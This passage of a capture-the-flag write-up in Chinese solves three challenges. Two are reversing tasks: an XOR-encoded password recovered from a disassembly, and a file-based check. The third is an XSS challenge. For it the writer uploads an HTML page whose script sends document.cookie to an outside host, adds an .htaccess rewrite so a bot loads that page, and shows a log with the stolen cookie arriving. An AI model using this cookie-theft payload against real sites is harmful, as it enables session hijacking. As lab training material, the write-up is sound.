0x000055555555514a: xor ecx,eax 0x000055555555514c: mov eax,DWORD PTR [rbp-0x24] 0x000055555555514f: cdqe 0x0000555555555151: lea rdx,[rip+0x2ec8] # 0x555555558020 0x0000555555555158: mov BYTE PTR [rax+rdx*1],cl 0x000055555555515b: add DWORD PTR [rbp-0x24],0x1 0x000055555555515f: mov eax,DWORD PTR [rbp-0x24] 0x0000555555555162: cmp eax,0x24 0x0000555555555165: jbe 0x555555555125 0x0000555555555167: lea rax,[rip+0x2eb2] # 0x555555558020 0x000055555555516e: mov rsi,rax 0x0000555555555171: lea rax,[rip+0xea9] # 0x555555556021 0x0000555555555178: mov rdi,rax 0x000055555555517b: mov eax,0x0 0x0000555555555180: call 0x555555555030 <printf@plt> 0x0000555555555185: mov eax,0x0 0x000055555555518a: mov rdx,QWORD PTR [rbp-0x8] 0x000055555555518e: sub rdx,QWORD PTR fs:0x28 0x0000555555555197: je 0x55555555519e 0x0000555555555199: call 0x555555555020 <__stack_chk_fail@plt> 0x000055555555519e: leave 0x000055555555519f: ret ``` 能看見程式把用戶輸入的 password 開始做 XOR 0xab 之後拿去驗證 cmp 0x555555558000 的資料 ``` gef➤ x/gx 0x555555558000 0x555555558000: 0xe0c2c0ded1c2c0ea gef➤ x/gx 0x555555558008 0x555555558008: 0x9b9e9b9acac5c5ca ``` ![image](https://hackmd.io/_uploads/HkecdSFcyll.png) ``` password > AkizukiKanna1050 Correct! Here is your flag: THJCC{whY_1s_mY_m@1n_funC710n_eMptY} ``` ### Demon Summoning 一開始的程式無法召喚惡魔 ``` ./chal.exe Demon: Human, are you calling me? [y/n]y Demon: Human, you are not worthy to summon me. Bring offerings if you wish to return. ``` 從逆向來看,程式會驗證 `AbyssalCircle/Ancient_Parchment` `AbyssalCircle/Melon_bun` 文件 `Ancient_Parchment` 是題目給的檔案 而 `AbyssalCircle/Melon_bun` 猜測是要自己創建的檔案 而在最下面有段程式顯示要驗證 `AbyssalCircle/Melon_bun` 的檔案內容是否為 "Satania's favorite", ![image](https://hackmd.io/_uploads/Sk3RLKckge.png) 寫入文件 ![image](https://hackmd.io/_uploads/B1vjvYcJxe.png) 確定檔案位置後即可成功召喚 ``` ./chal.exe Demon: Human, are you calling me? [y/n]y Summoning success ``` ![demon](https://hackmd.io/_uploads/H1UbuFcJlx.png) ### iCloud 普通的 XSS 攻擊,取得 bot 的 Cookie(Flag) 從原始碼可看見上傳 php 檔案無法執行,且能執行的僅能在資料夾的目錄 但 html 前端仍可正常使用,先寫入一段 proxy 的 HTML ```html <!DOCTYPE html> <html> <head> <script> fetch(`https://example.com/mydns?flag=${document.cookie}`); </script> </head> </html> ``` 之後前往 http://chal.ctf.scint.org/uploads/<id> 之後只能夠顯示目錄裡面有的檔案 `index.html` 為了讓進目錄直接預覽 html,所以上傳 .htaccess 覆蓋目錄設定 ``` RewriteEngine On RewriteRule ^$ ../<id>/index.html [L] ``` 上傳之後直接進到 `http://chal.ctf.scint.org/uploads/<id2>` 則能直接顯示 `http://chal.ctf.scint.org/uploads/<id>/index.html` 的內容 之後呼叫 bot 即可直接 xss ``` python test1.py * Serving Flask app 'test1' * Debug mode: off WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. * Running on all addresses (0.0.0.0) * Running on http://127.0.0.1:7999 Press CTRL+C to quit 127.0.0.1 - - [27/Apr/2025 00:54:09] "GET / HTTP/1.1" 200 - 127.0.0.1 - - [27/Apr/2025 00:54:09] "GET /favicon.ico HTTP/1.1" 404 - 127.0.0.1 - - [27/Apr/2025 00:55:28] "GET /?flag=flag=THJCC{hTaCc3s5_c@n_al3rt(`Pwned!`)} HTTP/1.1" 200 - ```